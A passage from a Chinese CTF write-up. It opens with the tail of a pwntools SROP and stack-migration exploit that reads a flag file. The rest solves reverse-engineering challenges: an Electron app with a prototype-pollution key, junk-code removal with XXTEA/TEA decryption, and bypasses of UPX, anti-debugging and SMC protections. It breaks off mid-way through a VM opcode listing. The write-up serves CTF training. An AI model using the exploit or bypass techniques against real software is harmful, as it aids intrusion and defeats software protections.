frame_write = SigreturnFrame()
frame_write.rax = 0x01
frame_write.rdi = 1
frame_write.rsi = 0x405000
frame_write.rdx = 0x30
frame_write.rip = syscall_addr
#bss
payload1 = p64(ret_addr) + p64(ret_addr)
payload1 += p64(mov_rax_0xf) + p64(syscall_addr)
payload1 += bytes(frame_read_1)
payload1 += p64(mov_rax_0xf) + p64(syscall_addr)
payload1 += bytes(frame_chmod)
payload1 += p64(mov_rax_0xf) + p64(syscall_addr)
payload1 += bytes(frame_open)
payload1 += p64(mov_rax_0xf) + p64(syscall_addr)
payload1 += bytes(frame_read_2)
payload1 += p64(mov_rax_0xf) + p64(syscall_addr)
payload1 += bytes(frame_write)
p.recvuntil(b'easyhack\n')
p.send(payload1)
#Stack Migration
payload2 = b'a' * 42 + p64(bss_addr) + p64(leave_ret)
p.recvuntil(b"Do u know what is SUID?\n")
p.send(payload2)
p.send('./flag\x00'.ljust(0x5a,'\x00'))
p.interactive()

Resverse

elec_go

image.png
一个普通的electron程序
主程序都被封装到了resources/app.asar里
进入resources目录 解包

1
PS D:\Electron\elec_go\elec_go-win32-x64\resources> asar extract .\app.asar ./tmp

src里是主要程序 node_modules只是一些包
image.png
index.js 中是主程序,preload.js是浏览器预先加载的一些脚本,renderer.js是用于建立主程序与浏览器通信的设置

1
2
3
4
5
6
7
Mode                 LastWriteTime         Length Name
---- ------------- ------ ----
-a--- 2024/5/26 20:17 377 index.css
-a--- 2024/5/26 20:17 385 index.html
-a--- 2024/5/26 20:17 8785 index.js
-a--- 2024/5/26 20:17 7597 preload.js
-a--- 2024/5/26 20:17 136 renderer.js

第一种做法
如果纯逆的话,步骤如下
1.查看preload.js
2.用node运行下面的js脚本

1
2
3
const escodegen=require("escodegen")
const escodegen=require("escodegen")
console.log(escodegen.generate(JSON.parse(Buffer('eyJ0eXBlIjoiUHJvZ3JhbSIsInN0YXJ0IjowLCJlbmQiOjI0MCwiYm9keSI6W3sidHlwZSI6IkV4cHJlc3Npb25TdGF0ZW1lbnQiLCJzdGFydCI6MCwiZW5kIjoyNDAsImV4cHJlc3Npb24iOnsidHlwZSI6IkFycm93RnVuY3Rpb25FeHByZXNzaW9uIiwic3RhcnQiOjAsImVuZCI6MjQwLCJpZCI6bnVsbCwiZXhwcmVzc2lvbiI6ZmFsc2UsImdlbmVyYXRvciI6ZmFsc2UsImFzeW5jIjpmYWxzZSwicGFyYW1zIjpbXSwiYm9keSI6eyJ0eXBlIjoiQmxvY2tTdGF0ZW1lbnQiLCJzdGFydCI6NCwiZW5kIjoyNDAsImJvZHkiOlt7InR5cGUiOiJWYXJpYWJsZURlY2xhcmF0aW9uIiwic3RhcnQiOjksImVuZCI6MzcsImRlY2xhcmF0aW9ucyI6W3sidHlwZSI6IlZhcmlhYmxlRGVjbGFyYXRvciIsInN0YXJ0IjoxNSwiZW5kIjozNywiaWQiOnsidHlwZSI6IklkZW50aWZpZXIiLCJzdGFydCI6MTUsImVuZCI6MjAsIm5hbWUiOiJrb2ZmaSJ9LCJpbml0Ijp7InR5cGUiOiJDYWxsRXhwcmVzc2lvbiIsInN0YXJ0IjoyMSwiZW5kIjozNywiY2FsbGVlIjp7InR5cGUiOiJJZGVudGlmaWVyIiwic3RhcnQiOjIxLCJlbmQiOjI4LCJuYW1lIjoicmVxdWlyZSJ9LCJhcmd1bWVudHMiOlt7InR5cGUiOiJMaXRlcmFsIiwic3RhcnQiOjI5LCJlbmQiOjM2LCJ2YWx1ZSI6ImtvZmZpIiwicmF3IjoiXCJrb2ZmaVwiIn1dLCJvcHRpb25hbCI6ZmFsc2V9fV0sImtpbmQiOiJjb25zdCJ9LHsidHlwZSI6IlZhcmlhYmxlRGVjbGFyYXRpb24iLCJzdGFydCI6NDEsImVuZCI6NzQsImRlY2xhcmF0aW9ucyI6W3sidHlwZSI6IlZhcmlhYmxlRGVjbGFyYXRvciIsInN0YXJ0Ijo0NywiZW5kIjo3NCwiaWQiOnsidHlwZSI6IklkZW50aWZpZXIiLCJzdGFydCI6NDcsImVuZCI6NTAsIm5hbWUiOiJsaWIifSwiaW5pdCI6eyJ0eXBlIjoiQ2FsbEV4cHJlc3Npb24iLCJzdGFydCI6NTEsImVuZCI6NzQsImNhbGxlZSI6eyJ0eXBlIjoiTWVtYmVyRXhwcmVzc2lvbiIsInN0YXJ0Ijo1MSwiZW5kIjo2MSwib2JqZWN0Ijp7InR5cGUiOiJJZGVudGlmaWVyIiwic3RhcnQiOjUxLCJlbmQiOjU2LCJuYW1lIjoia29mZmkifSwicHJvcGVydHkiOnsidHlwZSI6IklkZW50aWZpZXIiLCJzdGFydCI6NTcsImVuZCI6NjEsIm5hbWUiOiJsb2FkIn0sImNvbXB1dGVkIjpmYWxzZSwib3B0aW9uYWwiOmZhbHNlfSwiYXJndW1lbnRzIjpbeyJ0eXBlIjoiTGl0ZXJhbCIsInN0YXJ0Ijo2MiwiZW5kIjo3MywidmFsdWUiOiJteWRsbC5kbGwiLCJyYXciOiJcIm15ZGxsLmRsbFwiIn1dLCJvcHRpb25hbCI6ZmFsc2V9fV0sImtpbmQiOiJjb25zdCJ9LHsidHlwZSI6IlZhcmlhYmxlRGVjbGFyYXRpb24iLCJzdGFydCI6NzgsImVuZCI6MTI2LCJkZWNsYXJhdGlvbnMiOlt7InR5cGUiOiJWYXJpYWJsZURlY2xhcmF0b3IiLCJzdGFydCI6ODQsImVuZCI6MTI2LCJpZCI6eyJ0eXBlIjoiSWRlbnRpZmllciIsInN0YXJ0Ijo4NCwiZW5kIjo4OCwibmFtZSI6ImZ1bmMifSwiaW5pdCI6eyJ0eXBlIjoiQ2FsbEV4cHJlc3Npb24iLCJzdGFydCI6ODksImVuZCI6MTI2LCJjYWxsZWUiOnsidHlwZSI6Ik1lbWJlckV4cHJlc3Npb24iLCJzdGFydCI6ODksImVuZCI6OTcsIm9iamVjdCI6eyJ0eXBlIjoiSWRlbnRpZmllciIsInN0YXJ0Ijo4OSwiZW5kIjo5MiwibmFtZSI6ImxpYiJ9LCJwcm9wZXJ0eSI6eyJ0eXBlIjoiSWRlbnRpZmllciIsInN0YXJ0Ijo5MywiZW5kIjo5NywibmFtZSI6ImZ1bmMifSwiY29tcHV0ZWQiOmZhbHNlLCJvcHRpb25hbCI6ZmFsc2V9LCJhcmd1bWVudHMiOlt7InR5cGUiOiJMaXRlcmFsIiwic3RhcnQiOjk4LCJlbmQiOjEyNSwidmFsdWUiOiJjaGFyKiBPdXRwdXQoY2hhciogaW5wdXQpIiwicmF3IjoiXCJjaGFyKiBPdXRwdXQoY2hhciogaW5wdXQpXCIifV0sIm9wdGlvbmFsIjpmYWxzZX19XSwia2luZCI6ImNvbnN0In0seyJ0eXBlIjoiRXhwcmVzc2lvblN0YXRlbWVudCIsInN0YXJ0IjoxMzAsImVuZCI6MTM2LCJleHByZXNzaW9uIjp7InR5cGUiOiJBc3NpZ25tZW50RXhwcmVzc2lvbiIsInN0YXJ0IjoxMzAsImVuZCI6MTM2LCJvcGVyYXRvciI6Ij0iLCJsZWZ0Ijp7InR5cGUiOiJJZGVudGlmaWVyIiwic3RhcnQiOjEzMCwiZW5kIjoxMzMsIm5hbWUiOiJ0bXAifSwicmlnaHQiOnsidHlwZSI6Ik9iamVjdEV4cHJlc3Npb24iLCJzdGFydCI6MTM0LCJlbmQiOjEzNiwicHJvcGVydGllcyI6W119fX0seyJ0eXBlIjoiRXhwcmVzc2lvblN0YXRlbWVudCIsInN0YXJ0IjoxNDAsImVuZCI6MjM4LCJleHByZXNzaW9uIjp7InR5cGUiOiJBc3NpZ25tZW50RXhwcmVzc2lvbiIsInN0YXJ0IjoxNDAsImVuZCI6MjM4LCJvcGVyYXRvciI6Ij0iLCJsZWZ0Ijp7InR5cGUiOiJNZW1iZXJFeHByZXNzaW9uIiwic3RhcnQiOjE0MCwiZW5kIjoxNjIsIm9iamVjdCI6eyJ0eXBlIjoiTWVtYmVyRXhwcmVzc2lvbiIsInN0YXJ0IjoxNDAsImVuZCI6MTUzLCJvYmplY3QiOnsidHlwZSI6IklkZW50aWZpZXIiLCJzdGFydCI6MTQwLCJlbmQiOjE0MywibmFtZSI6InRtcCJ9LCJwcm9wZXJ0eSI6eyJ0eXBlIjoiSWRlbnRpZmllciIsInN0YXJ0IjoxNDQsImVuZCI6MTUzLCJuYW1lIjoiX19wcm90b19fIn0sImNvbXB1dGVkIjpmYWxzZSwib3B0aW9uYWwiOmZhbHNlfSwicHJvcGVydHkiOnsidHlwZSI6IklkZW50aWZpZXIiLCJzdGFydCI6MTU0LCJlbmQiOjE2MiwibmFtZSI6InRvU3RyaW5nIn0sImNvbXB1dGVkIjpmYWxzZSwib3B0aW9uYWwiOmZhbHNlfSwicmlnaHQiOnsidHlwZSI6IkFycm93RnVuY3Rpb25FeHByZXNzaW9uIiwic3RhcnQiOjE2MywiZW5kIjoyMzgsImlkIjpudWxsLCJleHByZXNzaW9uIjpmYWxzZSwiZ2VuZXJhdG9yIjpmYWxzZSwiYXN5bmMiOmZhbHNlLCJwYXJhbXMiOltdLCJib2R5Ijp7InR5cGUiOiJCbG9ja1N0YXRlbWVudCIsInN0YXJ0IjoxNjcsImVuZCI6MjM4LCJib2R5IjpbeyJ0eXBlIjoiUmV0dXJuU3RhdGVtZW50Iiwic3RhcnQiOjE2OCwiZW5kIjoyMzcsImFyZ3VtZW50Ijp7InR5cGUiOiJDYWxsRXhwcmVzc2lvbiIsInN0YXJ0IjoxNzUsImVuZCI6MjM3LCJjYWxsZWUiOnsidHlwZSI6Ik1lbWJlckV4cHJlc3Npb24iLCJzdGFydCI6MTc1LCJlbmQiOjIzMSwib2JqZWN0Ijp7InR5cGUiOiJBcnJheUV4cHJlc3Npb24iLCJzdGFydCI6MTc1LCJlbmQiOjIyNSwiZWxlbWVudHMiOlt7InR5cGUiOiJTcHJlYWRFbGVtZW50Iiwic3RhcnQiOjE3NiwiZW5kIjoyMjQsImFyZ3VtZW50Ijp7InR5cGUiOiJDYWxsRXhwcmVzc2lvbiIsInN0YXJ0IjoxNzksImVuZCI6MjI0LCJjYWxsZWUiOnsidHlwZSI6Ik1lbWJlckV4cHJlc3Npb24iLCJzdGFydCI6MTc5LCJlbmQiOjE4OSwib2JqZWN0Ijp7InR5cGUiOiJJZGVudGlmaWVyIiwic3RhcnQiOjE3OSwiZW5kIjoxODMsIm5hbWUiOiJKU09OIn0sInByb3BlcnR5Ijp7InR5cGUiOiJJZGVudGlmaWVyIiwic3RhcnQiOjE4NCwiZW5kIjoxODksIm5hbWUiOiJwYXJzZSJ9LCJjb21wdXRlZCI6ZmFsc2UsIm9wdGlvbmFsIjpmYWxzZX0sImFyZ3VtZW50cyI6W3sidHlwZSI6IkNhbGxFeHByZXNzaW9uIiwic3RhcnQiOjE5MCwiZW5kIjoyMjMsImNhbGxlZSI6eyJ0eXBlIjoiTWVtYmVyRXhwcmVzc2lvbiIsInN0YXJ0IjoxOTAsImVuZCI6MjEyLCJvYmplY3QiOnsidHlwZSI6IkNhbGxFeHByZXNzaW9uIiwic3RhcnQiOjE5MCwiZW5kIjoyMDQsImNhbGxlZSI6eyJ0eXBlIjoiSWRlbnRpZmllciIsInN0YXJ0IjoxOTAsImVuZCI6MTk0LCJuYW1lIjoiZnVuYyJ9LCJhcmd1bWVudHMiOlt7InR5cGUiOiJMaXRlcmFsIiwic3RhcnQiOjE5NSwiZW5kIjoyMDMsInZhbHVlIjoiZmFrZX5+IiwicmF3IjoiXCJmYWtlfn5cIiJ9XSwib3B0aW9uYWwiOmZhbHNlfSwicHJvcGVydHkiOnsidHlwZSI6IklkZW50aWZpZXIiLCJzdGFydCI6MjA1LCJlbmQiOjIxMiwibmFtZSI6InJlcGxhY2UifSwiY29tcHV0ZWQiOmZhbHNlLCJvcHRpb25hbCI6ZmFsc2V9LCJhcmd1bWVudHMiOlt7InR5cGUiOiJMaXRlcmFsIiwic3RhcnQiOjIxMywiZW5kIjoyMTcsInZhbHVlIjp7fSwicmF3IjoiLyAvZyIsInJlZ2V4Ijp7InBhdHRlcm4iOiIgIiwiZmxhZ3MiOiJnIn19LHsidHlwZSI6IkxpdGVyYWwiLCJzdGFydCI6MjE5LCJlbmQiOjIyMiwidmFsdWUiOiIsIiwicmF3IjoiJywnIn1dLCJvcHRpb25hbCI6ZmFsc2V9XSwib3B0aW9uYWwiOmZhbHNlfX1dfSwicHJvcGVydHkiOnsidHlwZSI6IklkZW50aWZpZXIiLCJzdGFydCI6MjI2LCJlbmQiOjIzMSwibmFtZSI6InNsaWNlIn0sImNvbXB1dGVkIjpmYWxzZSwib3B0aW9uYWwiOmZhbHNlfSwiYXJndW1lbnRzIjpbeyJ0eXBlIjoiTGl0ZXJhbCIsInN0YXJ0IjoyMzIsImVuZCI6MjMzLCJ2YWx1ZSI6MCwicmF3IjoiMCJ9LHsidHlwZSI6IkxpdGVyYWwiLCJzdGFydCI6MjM0LCJlbmQiOjIzNiwidmFsdWUiOjE2LCJyYXciOiIxNiJ9XSwib3B0aW9uYWwiOmZhbHNlfX1dfX19fV19fX1dLCJzb3VyY2VUeXBlIjoic2NyaXB0In0=','base64').toString())))

输出结果如下

1
2
3
4
5
6
7
8
9
() => {
const koffi = require('koffi');//一个普通的loadlibrary
const lib = koffi.load('mydll.dll');
const func = lib.func('char* Output(char* input)');
tmp = {};
tmp.__proto__.toString = () => {
return [...JSON.parse(func('fake~~').replace(/ /g, ','))].slice(0, 16);//一个普通的原型链污染
};
};

然后分析dll(根目录下的mydll.dll)
对应的Output函数
image.png

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
// main.Output
__int8 *__golang main_Output(__int8 *input)
{
__int64 v1; // r14
__int128 v2; // xmm15
void *v3; // rax
retval_3AE7B1440 v; // [rsp+24h] [rbp-69Ch] BYREF
_OWORD a[104]; // [rsp+38h] [rbp-688h] BYREF
string v7; // 0:rax.8,8:rbx.8
_slice_interface_ v8; // 0:rax.8,8:rbx.8,16:rcx.8

if ( (unsigned __int64)&a[4] + 8 <= *(_QWORD *)(v1 + 16) )
{
runtime_morestack_noctxt();
JUMPOUT(0x3AE7B257ALL);
}
memset(&a[1], 0, 0x670uLL);
*(_QWORD *)&a[1] = "Dragon Knight";
*((_QWORD *)&a[1] + 1) = 13LL;
main_sha1PadMessage((main_SHA1Context *)&a[1]);
main_sha1ProcessMessageBlock((main_SHA1Context *)&a[1]);
v = main_sha1_digest((main_SHA1Context *)&a[1]);
a[0] = v2;
v3 = runtime_convTnoptr((runtime__type *)&RTYPE__20_uint8, &v);
*(_QWORD *)&a[0] = &RTYPE__20_uint8;
*((_QWORD *)&a[0] + 1) = v3;
v8.array = (interface_ *)a;
v8.len = 1LL;
v8.cap = 1LL;
v7 = fmt_Sprintln(v8);
return main__Cfunc_CString(v7);
}

实际上是个固定输出的sha1,sha1的输入为”Dragon Knight”
输出即为0f0d105e8ec0eb28e43dfff700c32fe145949c5c(实际是个字节数组),同时通过slice取的其前16字节污染Object原型的toString元素
通过toString("never gonna give you up")将被污染的0f0d105e8ec0eb28e43dfff700c32fe1发送给index.js
再看index.js
base64语句实际上就是这个

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
(event, arg) => {
c = CryptoJS.AES.encrypt(arg, k3y, {
mode: CryptoJS.mode.ECB,
padding: CryptoJS.pad.ZeroPadding
});
if (c.toString() == 'wPUqm+0VU9uX0knpKIWxFilCSO6tae50LTUi0U41Tag=') {
dialog.showMessageBox({
title: '正确\uFF01',
message: 'right!'
});
} else {
dialog.showMessageBox({
title: '错误\uFF01',
message: 'NO!!!!!'
});
}
};

密文就是wPUqm+0VU9uX0knpKIWxFilCSO6tae50LTUi0U41Tag=而key就是0f0d105e8ec0eb28e43dfff700c32fe1 加密方式AES-ECB-NoPadding
image.png
另一种做法
将app.asar的导出文件全部放在resources目录下的app目录(自己新建)
更改index.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
ipcMain.on('k3y',(event,argk)=>{
var k3y=CryptoJS.lib.WordArray.create(new Uint8Array(argk))
ipcMain.on('flag',(event,arg)=>{
func=(event, arg) => {
dialog.showMessageBox({
title:"abc",
message:CryptoJS.AES.decrypt(
'wPUqm+0VU9uX0knpKIWxFilCSO6tae50LTUi0U41Tag=',k3y,{
mode: CryptoJS.mode.ECB,
padding: CryptoJS.pad.ZeroPadding
}).toString(CryptoJS.enc.Utf8)})
};
func(event,arg);
})
})

也能达成直接爆flag的效果
image.png

flower_tea

考点:花指令去除,tea算法
观察main函数:
主函数的大概是这样。
image.png
如果要调试,要先把第一个函数nop掉(实际上并不用)
这里先看encode函数,点开后是爆红的,所以先解花指令
image.png
这个是一个简单的jmp花指令,把后面的jmp nop掉,然后可以看到第一部分。
这时最上面还是有标红
在汇编界面看看哪里还有花
image.png
这里有一个奇怪的call:
逻辑是:call完之后把ret的值+0xC然后返回
把这一部分按u解除,在加0xC后的位置再反编译
image.png
所以ret之后就会到pop的位置
把中间这一段全部nop,然后把整个函数u,然后c,再浏览一下函数,中间有一个怪jmp,删掉
image.png
然后再p,得到解完花的函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
__int64 __fastcall encode(__int64 a1, __int64 a2)
{
__int64 v2; // rcx
int v3; // eax
bool v4; // zf
int v5; // eax
int v7; // [rsp+2Ch] [rbp-34h]
int v8; // [rsp+30h] [rbp-30h]
unsigned int i; // [rsp+34h] [rbp-2Ch]
unsigned int v10; // [rsp+38h] [rbp-28h]
unsigned int v11; // [rsp+3Ch] [rbp-24h]
unsigned int v12; // [rsp+40h] [rbp-20h]
int v13; // [rsp+44h] [rbp-1Ch]
_BYTE v15[12]; // [rsp+54h] [rbp-Ch]

*(_QWORD *)&v15[4] = a1;
*(_DWORD *)v15 = 0x9E3779B9;
v8 = 9;
v10 = 0;
v11 = *(_DWORD *)(a1 + 56);
do
{
v10 -= 0x61C88647;
v7 = (v10 >> 2) & 3;
for ( i = 0; ; ++i )
{
v2 = 14i64;
if ( i >= 0xE )
break;
v12 = *(_DWORD *)(*(_QWORD *)&v15[4] + 4i64 * (i + 1));
v3 = *(_DWORD *)(*(_QWORD *)&v15[4] + 4i64 * i)
+ (((v11 ^ *(_DWORD *)(a2 + 4i64 * (v7 ^ i & 3))) + (v12 ^ v10)) ^ (((16 * v11) ^ (v12 >> 3))
+ ((4 * v12) ^ (v11 >> 5))));
*(_DWORD *)(*(_QWORD *)&v15[4] + 4i64 * i) = v3;
v11 = v3;
}
v4 = **(_QWORD **)&v15[4] == 0xEi64;
**(_QWORD **)&v15[4] ^= 0xEui64;
if ( v4 )
{
v2 = *(_QWORD *)v15;
**(_QWORD **)&v15[4] += *(_QWORD *)v15;
}
**(_QWORD **)&v15[4] ^= v2;
v5 = *(_DWORD *)(*(_QWORD *)&v15[4] + 56i64)
+ (((v11 ^ *(_DWORD *)(a2 + 4i64 * (v7 ^ i & 3))) + (**(_DWORD **)&v15[4] ^ v10)) ^ (((16 * v11) ^ (**(_DWORD **)&v15[4] >> 3))
+ ((4 * **(_DWORD **)&v15[4]) ^ (v11 >> 5))));
*(_DWORD *)(*(_QWORD *)&v15[4] + 56i64) = v5;
v11 = v5;
--v8;
}
while ( v8 );
v13 = 60;
while ( v13 != 1 )
{
--v13;
if ( *(unsigned __int8 *)(*(_QWORD *)&v15[4] + v13) != (byte_7FF7A5187000[v13 + 1] ^ 0x23) )
return 0;
}
return 1;
}

这个的特征很明显是xxtea,并且没有魔改,网上直接搜脚本
exp:(需要用clang)
(网上的脚本https://www.cnblogs.com/zpchcbd/p/15974293.html)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
#include <stdio.h>
#include <stdint.h>
#define DELTA 0x9e3779b9
#define MX (((z>>5^y<<2) + (y>>3^z<<4)) ^ ((sum^y) + (key[(p&3)^e] ^ z)))

void btea(uint32_t* v, int n, uint32_t const key[4])
{
uint32_t y, z, sum;
unsigned p, rounds, e;
if (n > 1) /* Coding Part */
{
rounds = 6 + 52 / n;
sum = 0;
z = v[n - 1];
do
{
sum += DELTA;
e = (sum >> 2) & 3;
for (p = 0; p < n - 1; p++)
{
y = v[p + 1];
z = v[p] += MX;
}
y = v[0];
z = v[n - 1] += MX;
} while (--rounds);
}
else if (n < -1) /* Decoding Part */
{
n = -n;
rounds = 6 + 52 / n;
sum = rounds * DELTA;
y = v[0];
do
{
e = (sum >> 2) & 3;
for (p = n - 1; p > 0; p--)
{
z = v[p - 1];
y = v[p] -= MX;
}
z = v[n - 1];
y = v[0] -= MX;
sum -= DELTA;
} while (--rounds);
}
}


int main()
{
unsigned char fakefalg[99] = { 0xff, 0xef, 0x79, 0xbc, 0xda, 0x6c, 0xc9,
0xb1, 0x24, 0x90, 0x89, 0x5d, 0x99,
0x42, 0xe1, 0x15, 0xc1, 0x1b, 0x2a,
0x5a, 0x9f, 0x90, 0xe0, 0x5f, 0xe9,
0x74, 0x9d, 0x44, 0x0d, 0x56, 0xfd,
0x51, 0x7e, 0x34, 0x5a, 0xc5, 0x3a,
0x5e, 0x24, 0xbc, 0xe1, 0x40, 0x0d,
0x17, 0x68, 0xfc, 0xcc, 0x09, 0x5b,
0xff, 0xc9, 0x45, 0x19, 0xb6, 0xc9,
0x0a, 0x5e, 0xd9, 0x03, 0xb2, 0x48 };
for (int i = 0; i < 61; ++i) {
fakefalg[i] ^= 0x23;
}
uint32_t key[4] = { 0x1234,0x2341,0x3412,0x4123 };
btea((unsigned*)(fakefalg + 1), -15, key);
printf("解密后的数据:%s\n", (char*)fakefalg);
return 0;
}

得到假flag:

1
DRKCTF{Sorry.There_is_no_more_flower_tea.Please_try_again!!}

很明显,这个不是真flag,这说明:
动态调试的时候和正常的时候运行的逻辑不一样
第一时间会想到这个可能是smc或者hook
所以先查看encode的交叉引用。
于是找到这个函数:
image.png
可以看到上层函数
修改了encode中的前几个字节用ret的方法返回到sub_140012A0中
image.png
这里的第一个是反调试,在x64下,调试标志位在PEB表偏移0x2的位置,通过获取gs寄存器找到peb表的位置:
readsqword(0x62)得到调试标志位并判断当前进程是否在调试
image.png
block是单纯地得到对应的两个函数地址
get_virtual_protect中,通过异或把virtualprotect函数名隐藏并通过搜索它在kernel32.dll中位置返回函数地址
image.png
通过上面的分析,可以得出我们需要查看sub_140012A0的内容,这里才是真正的加密函数
打开,还是花QAQ
汇编中,可以看到函数后段全是一个指令+一个jmp
由于汇编不是很好看,改成流程图看奇怪的地方。
image.png
可以猜测:如果一个地方有一块代码,并且有连续jmp,这里可能是人工加的花
那么就先看一下那个很远的环和上面一排没有入口的块
1
image.png
这里能看到push和pop,所以从push进入花,从pop离开花,可以看出可以这样还原
2
image.png
这里有一个call,尝试跟着call走,它下一步修改了返回地址,减去5A
即:140001460
转换一下这里的指令
image.png
所以把call nop了就好
image.png
3
image.png
nop之后
然后全部u,c,p还原函数
image.png
这里又可以看到上面的一个奇怪return,看汇编可以发现还是一个花
image.png
直接把call到retn去掉(除了shl)
这是一个变体tea,尝试化简这个函数
image.png
写脚本直接解
exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
#include<stdio.h>
#include<fcntl.h>
#include<stdarg.h>
#include<stdint.h>
#include<windows.h>


void dectrueTEA(uint32_t* flag, uint32_t* key, uint32_t E) {
int i, j;
const uint32_t delta[4] = { 0x59578627 ,0xe1c49e72,0xbc24167f ,0x8c3da26b };
uint32_t e = E;
const int len = 15;
for (i = 0; i < len; i += 4) {
uint32_t* c[4] = { &flag[(len - (i + 3)) % len],&flag[(len - (i + 2)) % len],&flag[(len - (i + 1)) % len],&flag[(len - i) % len] };
for (j = 32; j >= 0; j--) {
*c[3] -= ((e ^ *c[2]) ^ (key[(j + 3) % 4] >> 2)) ^ (e << 1);
e -= delta[*c[3] % 4];

*c[2] -= ((e ^ *c[1]) ^ (key[(j + 2) % 4] << 3)) ^ (e >> 2);
e -= delta[*c[2] % 4];

*c[1] -= ((e ^ *c[0]) ^ (key[(j + 1) % 4] >> 1)) ^ (e << 4);
e -= delta[*c[1] % 4];

*c[0] -= ((e ^ *c[3]) ^ (key[j % 4] << 2)) ^ (e >> 3);
e -= delta[*c[0] % 4];
}
//printf("\n0x%x 0x%x 0x%x 0x%x\n", *c[0], *c[1], *c[2], *c[3]);
}
printf("%s", flag);
}


int main(void) {
uint32_t E = 0;
uint32_t k1[4] = { 0x1234,0x2341,0x3412,0x4123 };
uint32_t a[] = { 0x127DC4E1, 0xCBA0EC0E, 0x570EDF5B, 0x99062A35, 0x382A7E1B, 0x15E46742, 0x4E5E456F, 0x3834C1D6, 0x5EF778A5, 0xAF217212, 0xC2D79D20, 0xD5C5935F, 0xCD2F5BB, 0xC527398C, 0x5EAC6739 };
E = 0xAE58570C;
dectrueTEA(a, k1, E);
return 0;
}

Debug

先是一个upx壳,用x64dbg自带的scylla工具脱一下
image.png
然后得到dump_SYC.exe拖进ida动态分析
在main函数开始之前藏了两个IsDebuggerPresent进行反调试
image.png
之后在函数的开始和结尾部分也利用了GetTickCount函数判断程序是否执行的很慢,如果程序执行的很慢则就是在调试,退出程序
image.png
image.png
题目通过读取当前目录下的myflag.txt中的flag来检验flag,过掉反调试动调到这里可以发现被解密后的 文件名称即myflag.txt
image.png
之后进入main2函数,函数利用了SMC,解密加密代码,再对读取的flag进行加密
image.png
这里也放有检测时间间隔的反调试函数。
一种方法是过掉所有反调试,动调到SMC后面即可看到正确的程序逻辑
image.png
但是也可以看明白汇编逻辑后,手动修改回来这段SMC代码贴回去
image.png
最后一个函数就是比较函数了
image.png
加密过程很简单,取出密文写出解密脚本即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
enc = [0xCF, 0xD9, 0xC0, 0xC8, 0xDF, 0xCD, 0x0C, 0xD2, 0x43, 0x98, 0x10, 0xC0, 0x83, 0x43, 0x9A, 0x10, 0xCD, 0x42, 0x8C, 0x4A, 0x10, 0xC8, 0x82, 0x83, 0x4A, 0x9F, 0x8C, 0xDF, 0x98, 0x42, 0x8C, 0xDF, 0x84, 0x82, 0x83, 0x46, 0x52, 0x52, 0x52, 0x0E]

for i in range(len(enc)):
tmp = enc[i]
if (tmp^0xab) > 96 and (tmp^0xab) < 123:
enc[i] ^= 0xab
enc[i] -= 32
elif (tmp^0xcd) > 64 and (tmp^0xcd) < 91:
enc[i] ^= 0xcd
enc[i] += 32
else:
enc[i] ^= 0x51
enc[i] += 30
print(chr(enc[i]), end='')

flag: DRKCTF{Y0u_Kn0w_F1a9_Con9raTu1aTion5!!!}

一起做杯下午茶吧

题目考点

基础花指令,基础反调试,tea ,xtea,vm

题解

打开题目
运行exe
image.png
image.png

第一关

爆红 发现花指令(3处花)很简单的花 直接去
image.png
tab进去 发现这道题有两部分
先解第一部分,就是一个最基础的tea加密,但是长得有点丑了,改一下名称,
image.png
最终的比较数据
image.png
注意key的反调试相关操作
image.png
正常没有调试的时候,异或的是key0和key3
所以写脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#include <stdio.h>
#include <stdint.h>
void decrypt(uint32_t* v, uint32_t* k) {
uint32_t v0 = v[0], v1 = v[1], i;
uint32_t delta = 0x61C88647;
uint32_t sum = delta * (-32);
uint32_t k0 = k[0], k1 = k[1], k2 = k[2], k3 = k[3];
for (i = 0; i < 32; i++) {
v1 -= ((v0 << 4) + k2) ^ (v0 + sum) ^ ((v0 >> 5) + k3);
v0 -= ((v1 << 4) + k0) ^ (v1 + sum) ^ ((v1 >> 5) + k1);
sum += delta;
}
v[0] = v0; v[1] = v1;
}
int main()
{

uint32_t enflag [4] = {0xe882d112,0xea66ea40,0xff171fde,0x2a510d08,};
uint32_t key[4] = { 0x67626463, 0x696D616E, 0x79645F65, 0x6B696C69 };
key[0] ^= 10;
key[3] ^= 10;
for (int i = 0; i < 4; i += 2)
{
decrypt(enflag + i, key);
printf("0x%x,0x%x,", enflag[i], enflag[i + 1]);
}
printf("\n%s",enflag);
return 0;
}

第一部分密钥,这个会运用到第二部分的密钥
put_some_sugar!!

第二关

通过check找到最终的密文
image.png
进入加密的主要部分
image.png
进去看可以看出来是vm题型,有相关的函数和opcode
image.png
image.png
可以看出来规律 0xF开头的是定义的不同函数,根据vm做题经验,我们直接自动化把这个opcode一行一行列出来,然后就是翻译他每个函数的意义了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
unsigned char vm_code[] = { 
0xf0,0xe0,0x05,0x4D,
0xf0,0xe0,0x04,0x00,
0xf0,0xe0,0x03,0x00,
0xf3,0xcc,
0xf0,0xe0,0x06,0x01,
0xf9,0xe0,0x00,0x00,
0xf0,0xe0,0x06,0x05,
0xf5,0x00,0x06,
0xf0,0xe1,0x01,0x00,
0xf0,0xe0,0x06,0x01,
0xf9,0xe0,0x00,0x00,
0xf0,0xe0,0x06,0x06,
0xf6,0x00,0x06,
0xf7,0x01,0x00,
0xf0,0xe0,0x06,0x01,
0xf9,0xe0,0x00,0x00,
0xf1,0x00,0x01,
